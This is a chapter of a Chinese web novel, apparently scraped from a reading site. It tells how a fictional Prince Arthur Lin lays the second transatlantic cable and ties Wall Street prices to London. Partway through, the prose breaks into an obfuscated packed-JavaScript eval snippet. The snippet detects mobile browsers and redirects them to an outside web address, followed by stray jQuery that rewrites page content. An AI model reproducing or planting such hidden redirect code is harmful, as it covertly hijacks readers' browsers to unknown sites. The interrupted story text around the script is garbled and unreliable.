伦敦。


    一张来自尼斯的黑色边框电报，被静静地放在了威尔士亲王爱德华的书桌上。


    即便爱德华平时以玩世不恭著称，此刻，他看着那短短的几行字，那双向来灵动的眼睛里，也难得地流露出了真切的惋惜。


    “尼克萨皇储殿下……于昨夜，长眠。”


    爱德华放下了雪茄。他的手，轻轻地敲击着木质的桌面，发出沉闷的声响。


    “可惜了……我的好妹夫啊。”


    他低声喃喃，脑海中浮现出那个带着金丝眼镜、有些书卷气、在哥本哈根海边即使被海风吹得发型凌乱也依然保持着斯文笑容的年轻人。


    这个总是和自己那位“暴躁岳父”克里斯蒂安九世聊艺术、会在家族聚会上偷偷把最好吃的甜点留给达格玛的“准连襟”，是整个罗曼诺夫家族里，唯一一个没有那种令人窒息的“侵略性”、反而带着一种难得的温良与理想主义色彩的王子。


    爱德华叹了口气，起身走到窗前。他想起了自己的妻子亚历山德拉，此刻一定在因为妹妹的痛苦而心碎。


    “希望达格玛那丫头……能挺过去吧。”


    他从没想过那么一个总是笑得没心没肺的小姨子，会遭遇这种如同天塌一般的打击。他更不知道的是，在那遥远的尼斯床前，一场更加荒诞且充满宿命感的“托付”，已经悄然改写了未来的剧本。


    ……


    同一时间。伦敦港。


    与王室的哀伤截然不同，这里正在进行着一场关乎人类未来的、冷酷而伟大的工业出征。


    “呜——！”


    一艘体型巨大到令人感到压抑的钢铁巨兽，正在数艘拖船的簇拥下，缓缓驶离泊位。


    它有着六根高耸入云的桅杆和五个如同工厂烟囱般粗壮的蒸汽排气管。它的名字叫——“大东方号”（SSGreatEastern）。


    这也是有史以来，人类建造的最大、最重、也最强悍的海洋工程船。


    而在它的腹舱深处，如同巨**般盘旋着的，是整整两千海里、加粗加固了绝缘层、采用了最新“古塔波胶”包裹工艺的——第二代跨大西洋海底电缆。


    指挥塔上。


    林亚瑟裹着一件厚实的风衣，手里拿着那张刚刚批准的、预算已达天文数字的项目书。


    “殿下，一切准备就绪。”


    负责此次工程的总工程师——那个曾经在第一次铺设中失败过、但这次被林亚瑟用重金和新技术重新武装起来的赛勒斯·菲尔德，此刻满眼血丝，却精神亢奋。


    “去吧。”


    林亚瑟的声音没有丝毫波澜，他的目光不是在看这艘船，而是在看它即将划过的大洋深处。


    “这一次，我要的不是可能，是必定。”


    “我要让大西洋两岸的时间差，从几个星期，或者那不稳定的几小时……”


    “彻底，归零。”


    巨大的螺旋桨开始搅动浑浊的河水，大东方号带着一种无可阻挡的历史惯性，驶入了茫茫碧海。


    接下来的几个月，是属于电缆与风浪搏斗的无声史诗。不再有意外断裂的恐慌，也没有信号衰减的无奈。因为林亚瑟不仅提供了最好的材料，甚至连海流的数据模型都是经过皇家科学院那些顶尖大脑计算过的“未来版本”。


    ……


    纽芬兰，心愿角。


    当那根带着咸腥海水味、如同某种深海生物触手般的黑色电缆，被重重地拖上岸、并与北美大陆的电报网接通的那个瞬间。


    这個世界，再也不一样了。


    “滴——答——滴——”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161477|185649||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>纽约证券交易所。那个平日里靠着吼叫和手势来传递、甚至要根据几天前到达的邮船来猜测伦敦行情的原始名利场。今天，迎来了一个从天而降的“神谕”。


    那台最新安装的显示屏（初级收报打字机），在早晨开盘前的几分钟，突然吐出了一条纸带。


    上面没有废话，只有一串冷冰冰的数字：


    【伦敦标准时间09:00。英格兰银行基准利率：4%。联合矿业收盘价：102英镑。】


    这就是“上帝”的声音。


    全场，那些刚才还满脸兴奋的美国投发商们，瞬间如同被掐住了脖子的鸭子，全部安静了。


    他们看着那串数字，冷汗从额头滑落。


    从此以后，纽约的开盘价，不再由华尔街说了算。它必须……也只能，先看了伦敦那边的脸色，先等那位远在泰晤士河畔的林亲王喝完了他的早茶，定下了调子……


    他们，才敢报价。


    什么叫霸权？


    这就是霸权。


    不流血，不开炮。


    只需要一根埋在海底的、看不见的铜线。


    就将整个世界的金融命脉，像拴狗链一样，牢牢地，锁死在了伦敦金融城那個阴雨绵绵、却掌握着阳光下所有财富分配权的小小一平方英里之内。


    林亚瑟站在白金汉宫的电报室里，听着那永不停歇的“滴答”声。


    他轻轻地，吹了吹杯中红茶飘浮的茶叶。


    “告诉范德比尔特。”


    他对着身后的汉森吩咐道。


    “以后我们的‘美国生意’，直接用英镑结算就行了。美元的汇率波动太大，我不喜欢。”


    “遵命，殿下。”


    窗外，伦敦的阳光，似乎都因为这无形的金光，而变得格外灿烂起来。